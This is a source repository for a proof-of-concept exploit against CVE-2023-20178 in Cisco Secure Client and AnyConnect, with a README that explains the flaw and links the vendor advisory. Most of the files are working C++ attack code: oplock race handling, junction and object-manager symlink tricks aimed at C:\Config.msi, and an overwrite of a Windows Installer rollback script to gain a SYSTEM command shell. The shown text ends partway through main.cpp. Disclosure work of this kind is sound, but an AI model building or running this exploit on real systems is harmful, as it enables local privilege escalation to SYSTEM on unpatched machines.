├── exploit ├── Project5 │ ├── cmd.rbs │ ├── Msi_Rollback.msi │ ├── Project5.vcxproj.user │ ├── resource.h │ ├── FileOpLock.h │ ├── Project5.vcxproj.filters │ ├── resource.rc │ ├── def.h │ ├── FileOpLock.cpp │ ├── Project5.vcxproj.xml │ └── main.cpp └── Project5.sln └── README.md /exploit/Project5/cmd.rbs: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Wh04m1001/CVE-2023-20178/HEAD/exploit/Project5/cmd.rbs -------------------------------------------------------------------------------- /exploit/Project5/Msi_Rollback.msi: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Wh04m1001/CVE-2023-20178/HEAD/exploit/Project5/Msi_Rollback.msi -------------------------------------------------------------------------------- /exploit/Project5/Project5.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /exploit/Project5/resource.h: -------------------------------------------------------------------------------- 1 | //{{NO_DEPENDENCIES}} 2 | // Microsoft Visual C++ generated include file. 3 | // Used by FolderOrFileDeleteToSystem.rc 4 | // 5 | #define IDR_RBS1 101 6 | #define IDR_MSI1 102 7 | 8 | // Next default values for new objects 9 | // 10 | #ifdef APSTUDIO_INVOKED 11 | #ifndef APSTUDIO_READONLY_SYMBOLS 12 | #define _APS_NEXT_RESOURCE_VALUE 107 13 | #define _APS_NEXT_COMMAND_VALUE 40001 14 | #define _APS_NEXT_CONTROL_VALUE 1001 15 | #define _APS_NEXT_SYMED_VALUE 101 16 | #endif 17 | #endif 18 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2023-20178 2 | 3 | This is PoC for Arbitrary File Delete vulnerability in Cisco Secure Client (tested on 5.0.01242) and Cisco AnyConnect (tested on 4.10.06079). 4 | 5 | ![poc](https://github.com/Wh04m1001/CVE-2023-20178/assets/44291883/f64f2b03-3045-4b37-91a2-508b24aea2f9) 6 | 7 | When a user connect to vpn, vpndownloader.exe process is started in background and it will create directory in c:\windows\temp with default permissions in following format: 8 | .tmp 9 | After creating this directory vpndownloader.exe will check if that directory is empty and if its not it will delete all files/directories in there. 10 | This behaviour can be abused to perform arbitrary file delete as NT Authority\SYSTEM account. 11 | 12 | Arbitrary file delete is then used to spwan system cmd process by abusing windows installer behaviour which is described in ZDI article https://www.zerodayinitiative.com/blog/2022/3/16/abusing-arbitrary-file-deletes-to-escalate-privilege-and-other-great-tricks (discovered by @KLINIX5) 13 | 14 | # Advisory 15 | 16 | https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ac-csc-privesc-wx4U4Kw 17 | -------------------------------------------------------------------------------- /exploit/Project5/FileOpLock.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | class FileOpLock 7 | { 8 | public: 9 | typedef void(*UserCallback)(); 10 | static FileOpLock* CreateLock(HANDLE hfile, FileOpLock::UserCallback cb); 11 | static FileOpLock* CreateLock(const std::wstring& name, FileOpLock::UserCallback cb); 12 | void WaitForLock(UINT Timeout); 13 | 14 | ~FileOpLock(); 15 | private: 16 | 17 | HANDLE g_hFile; 18 | OVERLAPPED g_o; 19 | REQUEST_OPLOCK_INPUT_BUFFER g_inputBuffer; 20 | REQUEST_OPLOCK_OUTPUT_BUFFER g_outputBuffer; 21 | HANDLE g_hLockCompleted; 22 | PTP_WAIT g_wait; 23 | UserCallback _cb; 24 | 25 | FileOpLock(UserCallback cb); 26 | 27 | static void CALLBACK WaitCallback(PTP_CALLBACK_INSTANCE Instance, 28 | PVOID Parameter, PTP_WAIT Wait, 29 | TP_WAIT_RESULT WaitResult); 30 | static void CALLBACK WaitCallback2(PTP_CALLBACK_INSTANCE Instance, 31 | PVOID Parameter, PTP_WAIT Wait, 32 | TP_WAIT_RESULT WaitResult); 33 | void DoWaitCallback(); 34 | void DoWaitCallbackt(); 35 | bool BeginLock(HANDLE hfile); 36 | bool BeginLock(const std::wstring& name); 37 | 38 | }; 39 | 40 | 41 | -------------------------------------------------------------------------------- /exploit/Project5.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 17 4 | VisualStudioVersion = 17.3.32922.545 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Project5", "Project5\Project5.vcxproj", "{0C189DF0-3C0D-4EC3-A773-70B900D41495}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|x64 = Debug|x64 11 | Debug|x86 = Debug|x86 12 | Release|x64 = Release|x64 13 | Release|x86 = Release|x86 14 | EndGlobalSection 15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 16 | {0C189DF0-3C0D-4EC3-A773-70B900D41495}.Debug|x64.ActiveCfg = Debug|x64 17 | {0C189DF0-3C0D-4EC3-A773-70B900D41495}.Debug|x64.Build.0 = Debug|x64 18 | {0C189DF0-3C0D-4EC3-A773-70B900D41495}.Debug|x86.ActiveCfg = Debug|Win32 19 | {0C189DF0-3C0D-4EC3-A773-70B900D41495}.Debug|x86.Build.0 = Debug|Win32 20 | {0C189DF0-3C0D-4EC3-A773-70B900D41495}.Release|x64.ActiveCfg = Release|x64 21 | {0C189DF0-3C0D-4EC3-A773-70B900D41495}.Release|x64.Build.0 = Release|x64 22 | {0C189DF0-3C0D-4EC3-A773-70B900D41495}.Release|x86.ActiveCfg = Release|Win32 23 | {0C189DF0-3C0D-4EC3-A773-70B900D41495}.Release|x86.Build.0 = Release|Win32 24 | EndGlobalSection 25 | GlobalSection(SolutionProperties) = preSolution 26 | HideSolutionNode = FALSE 27 | EndGlobalSection 28 | GlobalSection(ExtensibilityGlobals) = postSolution 29 | SolutionGuid = {BCE71789-5C71-4FD6-8A4D-A1508ED198F5} 30 | EndGlobalSection 31 | EndGlobal 32 | -------------------------------------------------------------------------------- /exploit/Project5/Project5.vcxproj.filters: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | 26 | 27 | Header Files 28 | 29 | 30 | Header Files 31 | 32 | 33 | Header Files 34 | 35 | 36 | 37 | 38 | Resource Files 39 | 40 | 41 | -------------------------------------------------------------------------------- /exploit/Project5/resource.rc: -------------------------------------------------------------------------------- 1 | // Microsoft Visual C++ generated resource script. 2 | // 3 | #include "resource.h" 4 | 5 | #define APSTUDIO_READONLY_SYMBOLS 6 | ///////////////////////////////////////////////////////////////////////////// 7 | // 8 | // Generated from the TEXTINCLUDE 2 resource. 9 | // 10 | #include "winres.h" 11 | 12 | ///////////////////////////////////////////////////////////////////////////// 13 | #undef APSTUDIO_READONLY_SYMBOLS 14 | ///////////////////////////////////////////////////////////////////////////// 15 | // English (United Kingdom) resources 16 | 17 | #if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENG) 18 | LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_UK 19 | #pragma code_page(1252) 20 | 21 | #ifdef APSTUDIO_INVOKED 22 | ///////////////////////////////////////////////////////////////////////////// 23 | // 24 | // TEXTINCLUDE 25 | // 26 | 27 | 1 TEXTINCLUDE 28 | BEGIN 29 | "resource.h\0" 30 | END 31 | 32 | 2 TEXTINCLUDE 33 | BEGIN 34 | "#include ""winres.h""\r\n" 35 | "\0" 36 | END 37 | 38 | 3 TEXTINCLUDE 39 | BEGIN 40 | "\r\n" 41 | "\0" 42 | END 43 | 44 | #endif // APSTUDIO_INVOKED 45 | 46 | 47 | ///////////////////////////////////////////////////////////////////////////// 48 | // 49 | // RBS 50 | // 51 | 52 | IDR_RBS1 RBS "cmd.rbs" 53 | 54 | 55 | ///////////////////////////////////////////////////////////////////////////// 56 | // 57 | // MSI 58 | // 59 | 60 | IDR_MSI1 MSI "Msi_Rollback.msi" 61 | 62 | #endif // English (United Kingdom) resources 63 | ///////////////////////////////////////////////////////////////////////////// 64 | 65 | 66 | 67 | #ifndef APSTUDIO_INVOKED 68 | ///////////////////////////////////////////////////////////////////////////// 69 | // 70 | // Generated from the TEXTINCLUDE 3 resource. 71 | // 72 | 73 | 74 | ///////////////////////////////////////////////////////////////////////////// 75 | #endif // not APSTUDIO_INVOKED 76 | -------------------------------------------------------------------------------- /exploit/Project5/def.h: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include "resource.h" 10 | 11 | #pragma warning(disable:4996) 12 | #pragma comment(lib, "Msi.lib") 13 | #pragma comment(lib, "Shlwapi.lib") 14 | #pragma comment(lib, "PathCch.lib") 15 | #pragma comment(lib,"RpcRT4.lib") 16 | wchar_t dir[MAX_PATH] = { 0x0 }; 17 | NTSTATUS retcode; 18 | HANDLE h = NULL; 19 | HANDLE hDir; 20 | HANDLE hFile; 21 | HMODULE hm = GetModuleHandle(NULL); 22 | HRSRC res = FindResource(hm, MAKEINTRESOURCE(IDR_RBS1), L"rbs"); 23 | DWORD RbsSize = SizeofResource(hm, res); 24 | void* RbsBuff = LoadResource(hm, res); 25 | 26 | wchar_t object[MAX_PATH] = L"Global\\GLOBALROOT\\RPC Control\\1.tmp"; 27 | wchar_t target[] = L"C:\\Config.msi::$INDEX_ALLOCATION"; 28 | 29 | BOOL Created(HANDLE hDir); 30 | DWORD WINAPI install(void*); 31 | void cb0(); 32 | VOID Fail(); 33 | LPWSTR BuildPath(LPCWSTR); 34 | void cb1(); 35 | void load(); 36 | HANDLE myCreateDirectory(LPWSTR file, DWORD access, DWORD share, DWORD dispostion); 37 | BOOL Move(HANDLE hFile); 38 | BOOL CreateJunction(HANDLE hDir, LPCWSTR target); 39 | BOOL DosDeviceSymLink(LPCWSTR object, LPCWSTR target); 40 | BOOL DeleteJunction(HANDLE hDir); 41 | BOOL DelDosDeviceSymLink(LPCWSTR object, LPCWSTR target); 42 | typedef struct _REPARSE_DATA_BUFFER { 43 | ULONG ReparseTag; 44 | USHORT ReparseDataLength; 45 | USHORT Reserved; 46 | union { 47 | struct { 48 | USHORT SubstituteNameOffset; 49 | USHORT SubstituteNameLength; 50 | USHORT PrintNameOffset; 51 | USHORT PrintNameLength; 52 | ULONG Flags; 53 | WCHAR PathBuffer[1]; 54 | } SymbolicLinkReparseBuffer; 55 | struct { 56 | USHORT SubstituteNameOffset; 57 | USHORT SubstituteNameLength; 58 | USHORT PrintNameOffset; 59 | USHORT PrintNameLength; 60 | WCHAR PathBuffer[1]; 61 | } MountPointReparseBuffer; 62 | struct { 63 | UCHAR DataBuffer[1]; 64 | } GenericReparseBuffer; 65 | } DUMMYUNIONNAME; 66 | } REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER; 67 | typedef struct _OBJECT_DIRECTORY_INFORMATION { 68 | UNICODE_STRING Name; 69 | UNICODE_STRING TypeName; 70 | } OBJECT_DIRECTORY_INFORMATION, * POBJECT_DIRECTORY_INFORMATION; 71 | #define STATUS_MORE_ENTRIES 0x00000105 72 | #define STATUS_NO_MORE_ENTRIES 0x8000001A 73 | #define IO_REPARSE_TAG_MOUNT_POINT (0xA0000003L) 74 | 75 | typedef NTSYSAPI NTSTATUS(NTAPI* _NtCreateFile)(PHANDLE FileHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PIO_STATUS_BLOCK IoStatusBlock, PLARGE_INTEGER AllocationSize, ULONG FileAttributes, ULONG ShareAccess, ULONG CreateDisposition, ULONG CreateOptions, PVOID EaBuffer, ULONG EaLength); 76 | typedef NTSYSAPI VOID(NTAPI* _RtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString); 77 | typedef NTSYSAPI NTSTATUS(NTAPI* _NtOpenDirectoryObject)(OUT PHANDLE DirectoryHandle, IN ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes); 78 | typedef NTSYSAPI NTSTATUS(NTAPI* _NtQueryDirectoryObject)(_In_ HANDLE DirectoryHandle, _Out_opt_ PVOID Buffer, _In_ ULONG Length, _In_ BOOLEAN ReturnSingleEntry, _In_ BOOLEAN RestartScan, _Inout_ PULONG Context, _Out_opt_ PULONG ReturnLength); 79 | typedef NTSYSCALLAPI NTSTATUS(NTAPI* _NtSetInformationFile)( 80 | HANDLE FileHandle, 81 | PIO_STATUS_BLOCK IoStatusBlock, 82 | PVOID FileInformation, 83 | ULONG Length, 84 | ULONG FileInformationClass 85 | ); 86 | 87 | _RtlInitUnicodeString pRtlInitUnicodeString; 88 | _NtCreateFile pNtCreateFile; 89 | _NtSetInformationFile pNtSetInformationFile; 90 | _NtQueryDirectoryObject pNtQueryDirectoryObject; 91 | _NtOpenDirectoryObject pNtOpenDirectoryObect; -------------------------------------------------------------------------------- /exploit/Project5/FileOpLock.cpp: -------------------------------------------------------------------------------- 1 | 2 | #include "FileOpLock.h" 3 | #include 4 | 5 | 6 | 7 | FileOpLock::FileOpLock(UserCallback cb) : 8 | g_inputBuffer({ 0 }), g_outputBuffer({ 0 }), g_o({ 0 }), g_hFile(INVALID_HANDLE_VALUE), g_hLockCompleted(nullptr), g_wait(nullptr), _cb(cb) 9 | { 10 | g_inputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION; 11 | g_inputBuffer.StructureLength = sizeof(g_inputBuffer); 12 | g_inputBuffer.RequestedOplockLevel = OPLOCK_LEVEL_CACHE_READ | OPLOCK_LEVEL_CACHE_HANDLE; 13 | g_inputBuffer.Flags = REQUEST_OPLOCK_INPUT_FLAG_REQUEST; 14 | g_outputBuffer.StructureVersion = REQUEST_OPLOCK_CURRENT_VERSION; 15 | g_outputBuffer.StructureLength = sizeof(g_outputBuffer); 16 | } 17 | 18 | 19 | FileOpLock::~FileOpLock() 20 | { 21 | if (g_wait) 22 | { 23 | SetThreadpoolWait(g_wait, nullptr, nullptr); 24 | CloseThreadpoolWait(g_wait); 25 | g_wait = nullptr; 26 | } 27 | 28 | if (g_o.hEvent) 29 | { 30 | CloseHandle(g_o.hEvent); 31 | g_o.hEvent = nullptr; 32 | } 33 | 34 | if (g_hFile != INVALID_HANDLE_VALUE) 35 | { 36 | CloseHandle(g_hFile); 37 | g_hFile = INVALID_HANDLE_VALUE; 38 | } 39 | } 40 | bool FileOpLock::BeginLock(const std::wstring& filename) 41 | { 42 | g_hLockCompleted = CreateEvent(nullptr, TRUE, FALSE, nullptr); 43 | g_o.hEvent = CreateEvent(nullptr, FALSE, FALSE, nullptr); 44 | 45 | 46 | 47 | g_hFile = CreateFileW(filename.c_str(), GENERIC_READ, FILE_SHARE_WRITE | FILE_SHARE_READ | FILE_SHARE_DELETE, 48 | 0, OPEN_EXISTING, FILE_FLAG_OVERLAPPED | FILE_FLAG_BACKUP_SEMANTICS, 0); 49 | if (g_hFile == INVALID_HANDLE_VALUE) { 50 | 51 | return false; 52 | } 53 | 54 | g_wait = CreateThreadpoolWait(WaitCallback, this, nullptr); 55 | if (g_wait == nullptr) 56 | { 57 | 58 | return false; 59 | } 60 | 61 | SetThreadpoolWait(g_wait, g_o.hEvent, nullptr); 62 | 63 | DeviceIoControl(g_hFile, FSCTL_REQUEST_OPLOCK, 64 | &g_inputBuffer, sizeof(g_inputBuffer), 65 | &g_outputBuffer, sizeof(g_outputBuffer), 66 | nullptr, &g_o); 67 | if (GetLastError() != ERROR_IO_PENDING) { 68 | 69 | return false; 70 | } 71 | 72 | return true; 73 | } 74 | bool FileOpLock::BeginLock(HANDLE hfile) 75 | { 76 | g_hLockCompleted = CreateEvent(nullptr, TRUE, FALSE, nullptr); 77 | g_o.hEvent = CreateEvent(nullptr, FALSE, FALSE, nullptr); 78 | 79 | 80 | 81 | g_hFile = hfile; 82 | if (g_hFile == INVALID_HANDLE_VALUE) { 83 | 84 | return false; 85 | } 86 | 87 | g_wait = CreateThreadpoolWait(WaitCallback, this, nullptr); 88 | if (g_wait == nullptr) 89 | { 90 | 91 | return false; 92 | } 93 | 94 | SetThreadpoolWait(g_wait, g_o.hEvent, nullptr); 95 | DWORD bytesReturned; 96 | 97 | DeviceIoControl(g_hFile, FSCTL_REQUEST_OPLOCK, 98 | &g_inputBuffer, sizeof(g_inputBuffer), 99 | &g_outputBuffer, sizeof(g_outputBuffer), 100 | nullptr, &g_o); 101 | /*DeviceIoControl(g_hFile, 102 | FSCTL_REQUEST_OPLOCK_LEVEL_1, 103 | NULL, 0, 104 | NULL, 0, 105 | &bytesReturned, 106 | &g_o);*/ 107 | if (GetLastError() != ERROR_IO_PENDING) { 108 | 109 | return false; 110 | } 111 | 112 | return true; 113 | } 114 | FileOpLock* FileOpLock::CreateLock(const std::wstring& name, FileOpLock::UserCallback cb) 115 | { 116 | FileOpLock* ret = new FileOpLock(cb); 117 | 118 | if (ret->BeginLock(name)) 119 | { 120 | return ret; 121 | } 122 | else 123 | { 124 | delete ret; 125 | return nullptr; 126 | } 127 | } 128 | FileOpLock* FileOpLock::CreateLock(HANDLE hfile, FileOpLock::UserCallback cb) 129 | { 130 | FileOpLock* ret = new FileOpLock(cb); 131 | 132 | if (ret->BeginLock(hfile)) 133 | { 134 | return ret; 135 | } 136 | else 137 | { 138 | delete ret; 139 | return nullptr; 140 | } 141 | } 142 | void FileOpLock::WaitForLock(UINT Timeout) 143 | { 144 | WaitForSingleObject(g_hLockCompleted, Timeout); 145 | } 146 | 147 | void FileOpLock::WaitCallback(PTP_CALLBACK_INSTANCE Instance, 148 | PVOID Parameter, PTP_WAIT Wait, 149 | TP_WAIT_RESULT WaitResult) 150 | { 151 | UNREFERENCED_PARAMETER(Instance); 152 | UNREFERENCED_PARAMETER(Wait); 153 | UNREFERENCED_PARAMETER(WaitResult); 154 | 155 | FileOpLock* lock = reinterpret_cast(Parameter); 156 | 157 | lock->DoWaitCallback(); 158 | } 159 | void FileOpLock::WaitCallback2(PTP_CALLBACK_INSTANCE Instance, 160 | PVOID Parameter, PTP_WAIT Wait, 161 | TP_WAIT_RESULT WaitResult) 162 | { 163 | UNREFERENCED_PARAMETER(Instance); 164 | UNREFERENCED_PARAMETER(Wait); 165 | UNREFERENCED_PARAMETER(WaitResult); 166 | 167 | FileOpLock* lock = reinterpret_cast(Parameter); 168 | 169 | lock->DoWaitCallbackt(); 170 | } 171 | void FileOpLock::DoWaitCallbackt() 172 | { 173 | DWORD dwBytes; 174 | if (!GetOverlappedResult(g_hFile, &g_o, &dwBytes, TRUE)) { 175 | 176 | } 177 | 178 | if (_cb) 179 | { 180 | _cb(); 181 | } 182 | g_hFile = INVALID_HANDLE_VALUE; 183 | SetEvent(g_hLockCompleted); 184 | } 185 | void FileOpLock::DoWaitCallback() 186 | { 187 | DWORD dwBytes; 188 | if (!GetOverlappedResult(g_hFile, &g_o, &dwBytes, TRUE)) { 189 | 190 | } 191 | 192 | if (_cb) 193 | { 194 | _cb(); 195 | } 196 | 197 | 198 | CloseHandle(g_hFile); 199 | g_hFile = INVALID_HANDLE_VALUE; 200 | SetEvent(g_hLockCompleted); 201 | } 202 | -------------------------------------------------------------------------------- /exploit/Project5/Project5.vcxproj.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | Win32Proj 24 | {0c189df0-3c0d-4ec3-a773-70b900d41495} 25 | Project5 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v143 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v143 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v143 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v143 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | Level3 76 | true 77 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 78 | true 79 | 80 | 81 | Console 82 | true 83 | 84 | 85 | 86 | 87 | Level3 88 | true 89 | true 90 | true 91 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 92 | true 93 | 94 | 95 | Console 96 | true 97 | true 98 | true 99 | 100 | 101 | 102 | 103 | Level3 104 | true 105 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 106 | true 107 | MultiThreaded 108 | 109 | 110 | Console 111 | true 112 | 113 | 114 | 115 | 116 | Level3 117 | true 118 | true 119 | true 120 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 121 | true 122 | MultiThreaded 123 | 124 | 125 | Console 126 | true 127 | true 128 | true 129 | 130 | 131 | 132 | 133 | 134 | 135 | 136 | 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | -------------------------------------------------------------------------------- /exploit/Project5/main.cpp: -------------------------------------------------------------------------------- 1 | #include "def.h" 2 | #include "FileOpLock.h" 3 | int wmain(int argc, wchar_t** argv) { 4 | load(); 5 | HANDLE hdir = myCreateDirectory(BuildPath(L"C:\\windows"), GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_DELETE | FILE_SHARE_WRITE, FILE_OPEN_IF); 6 | if (hdir == NULL) { 7 | printf("[!] Cannot open directory!\n"); 8 | return 1; 9 | } 10 | hFile = myCreateDirectory(BuildPath(L"C:\\Config.msi"), GENERIC_READ | DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF); 11 | if (hFile == NULL) 12 | { 13 | printf("[!] Failed to create C:\\Config.msi directory. Trying to delete it.\n"); 14 | install(NULL); 15 | hFile = myCreateDirectory(BuildPath(L"C:\\Config.msi"), GENERIC_READ | DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF); 16 | if (hFile != INVALID_HANDLE_VALUE) 17 | { 18 | printf("[+] Successfully removed and recreated C:\\Config.Msi.\n"); 19 | } 20 | else 21 | { 22 | printf("[!] Failed. Cannot remove c:\\Config.msi"); 23 | return 1; 24 | } 25 | } 26 | if (!PathIsDirectoryEmpty(L"C:\\Config.Msi")) 27 | { 28 | printf("[!] Failed. C:\\Config.Msi already exists and is not empty.\n"); 29 | return 1; 30 | } 31 | 32 | printf("[+] Config.msi directory created!\n"); 33 | CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Created, hdir,0,NULL); 34 | SetPriorityClass(GetCurrentProcess(), HIGH_PRIORITY_CLASS); 35 | SetThreadPriorityBoost(GetCurrentThread(), TRUE); 36 | SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL); 37 | FileOpLock* oplock; 38 | oplock = FileOpLock::CreateLock(hFile, cb1); 39 | if (oplock != nullptr) { 40 | oplock->WaitForLock(INFINITE); 41 | delete oplock; 42 | } 43 | do { 44 | hFile = myCreateDirectory(BuildPath(L"C:\\Config.msi"), GENERIC_READ | WRITE_DAC | READ_CONTROL | DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_OPEN_IF); 45 | } while (!hFile); 46 | char buff[4096]; 47 | DWORD retbt = 0; 48 | FILE_NOTIFY_INFORMATION* fn; 49 | WCHAR* extension; 50 | WCHAR* extension2; 51 | do { 52 | ReadDirectoryChangesW(hFile, buff, sizeof(buff) - sizeof(WCHAR), TRUE, FILE_NOTIFY_CHANGE_FILE_NAME, 53 | &retbt, NULL, NULL); 54 | fn = (FILE_NOTIFY_INFORMATION*)buff; 55 | size_t sz = fn->FileNameLength / sizeof(WCHAR); 56 | fn->FileName[sz] = '\0'; 57 | extension = fn->FileName; 58 | PathCchFindExtension(extension, MAX_PATH, &extension2); 59 | } while (wcscmp(extension2, L".rbs") != 0); 60 | 61 | SetSecurityInfo(hFile, SE_FILE_OBJECT, UNPROTECTED_DACL_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION, NULL, NULL, NULL, NULL); 62 | while (!Move(hFile)) { 63 | 64 | } 65 | HANDLE cfg_h = myCreateDirectory(BuildPath(L"C:\\Config.msi"), FILE_READ_DATA, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_CREATE); 66 | WCHAR rbsfile[MAX_PATH]; 67 | _swprintf(rbsfile, L"C:\\Config.msi\\%s", fn->FileName); 68 | HANDLE rbs = CreateFile(rbsfile, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); 69 | if (WriteFile(rbs, RbsBuff, RbsSize, NULL, NULL)) { 70 | printf("[+] RBS file overwritten!\n"); 71 | 72 | } 73 | else 74 | { 75 | printf("[!] Failed to overwrite rbs file!\n"); 76 | } 77 | CloseHandle(rbs); 78 | CloseHandle(cfg_h); 79 | DelDosDeviceSymLink(object, BuildPath(target)); 80 | } 81 | BOOL Created(HANDLE hDir) { 82 | PFILE_NOTIFY_INFORMATION fi = NULL; 83 | BOOL deleted = FALSE; 84 | wchar_t file[MAX_PATH] = { 0x0 }; 85 | 86 | FileOpLock* oplock; 87 | do { 88 | 89 | wchar_t buff[4096] = { 0 }; 90 | DWORD ret = 0; 91 | ReadDirectoryChangesW(hDir, buff, 4096, TRUE, FILE_NOTIFY_CHANGE_DIR_NAME, &ret, NULL, NULL); 92 | fi = (PFILE_NOTIFY_INFORMATION)buff; 93 | if ((fi->Action == FILE_ACTION_ADDED) && (wcswcs(fi->FileName, L".tmp"))) { 94 | swprintf(dir, L"C:\\windows\\%s\\tmp", fi->FileName); 95 | swprintf(file, L"C:\\windows\\%s\\tmp\\1.tmp", fi->FileName); 96 | SetThreadPriorityBoost(GetCurrentThread(), TRUE); 97 | SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL); 98 | while (!CreateDirectory(dir, NULL)); 99 | do { 100 | h = CreateFile(file, DELETE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS,FILE_FLAG_OVERLAPPED, NULL); 101 | } while (h == INVALID_HANDLE_VALUE); 102 | printf("[+] Directory: %ls\n", dir); 103 | printf("[+] File: %ls\n", file); 104 | oplock = FileOpLock::CreateLock(h, cb0); 105 | if (oplock != NULL) { 106 | oplock->WaitForLock(INFINITE); 107 | } 108 | deleted = TRUE; 109 | } 110 | } while (deleted == FALSE); 111 | return TRUE; 112 | } 113 | void cb0() { 114 | printf("[+] Oplock triggered!\n"); 115 | CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)Fail, NULL, 0, NULL); 116 | while (!Move(h)) {} 117 | printf("[+] File moved!\n"); 118 | hDir = CreateFile(dir, FILE_WRITE_DATA, FILE_SHARE_READ | FILE_SHARE_DELETE | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL); 119 | DosDeviceSymLink(object, BuildPath(target)); 120 | CreateJunction(hDir, L"\\RPC Control"); 121 | } 122 | BOOL Move(HANDLE hFile) { 123 | if (hFile == INVALID_HANDLE_VALUE) { 124 | printf("[!] Invalid handle!\n"); 125 | return FALSE; 126 | } 127 | wchar_t tmpfile[MAX_PATH] = { 0x0 }; 128 | RPC_WSTR str_uuid; 129 | UUID uuid = { 0 }; 130 | UuidCreate(&uuid); 131 | UuidToString(&uuid, &str_uuid); 132 | _swprintf(tmpfile, L"\\??\\C:\\windows\\temp\\%s", str_uuid); 133 | size_t buffer_sz = sizeof(FILE_RENAME_INFO) + (wcslen(tmpfile) * sizeof(wchar_t)); 134 | FILE_RENAME_INFO* rename_info = (FILE_RENAME_INFO*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY | HEAP_GENERATE_EXCEPTIONS, buffer_sz); 135 | IO_STATUS_BLOCK io = { 0 }; 136 | rename_info->ReplaceIfExists = TRUE; 137 | rename_info->RootDirectory = NULL; 138 | rename_info->Flags = 0x00000001 | 0x00000002 | 0x00000040; 139 | rename_info->FileNameLength = wcslen(tmpfile) * sizeof(wchar_t); 140 | memcpy(&rename_info->FileName[0], tmpfile, wcslen(tmpfile) * sizeof(wchar_t)); 141 | NTSTATUS status = pNtSetInformationFile(hFile, &io, rename_info, buffer_sz, 65); 142 | if (status != 0) { 143 | return FALSE; 144 | } 145 | return TRUE; 146 | } 147 | void load() { 148 | HMODULE ntdll = LoadLibraryW(L"ntdll.dll"); 149 | if (ntdll != NULL) { 150 | pRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(ntdll, "RtlInitUnicodeString"); 151 | pNtCreateFile = (_NtCreateFile)GetProcAddress(ntdll, "NtCreateFile"); 152 | pNtQueryDirectoryObject = (_NtQueryDirectoryObject)GetProcAddress(ntdll, "NtQueryDirectoryObject"); 153 | pNtOpenDirectoryObect = (_NtOpenDirectoryObject)GetProcAddress(ntdll, "NtOpenDirectoryObject"); 154 | pNtSetInformationFile = (_NtSetInformationFile)GetProcAddress(ntdll, "NtSetInformationFile"); 155 | } 156 | if (pRtlInitUnicodeString == NULL ||pNtCreateFile == NULL || pNtQueryDirectoryObject == NULL || 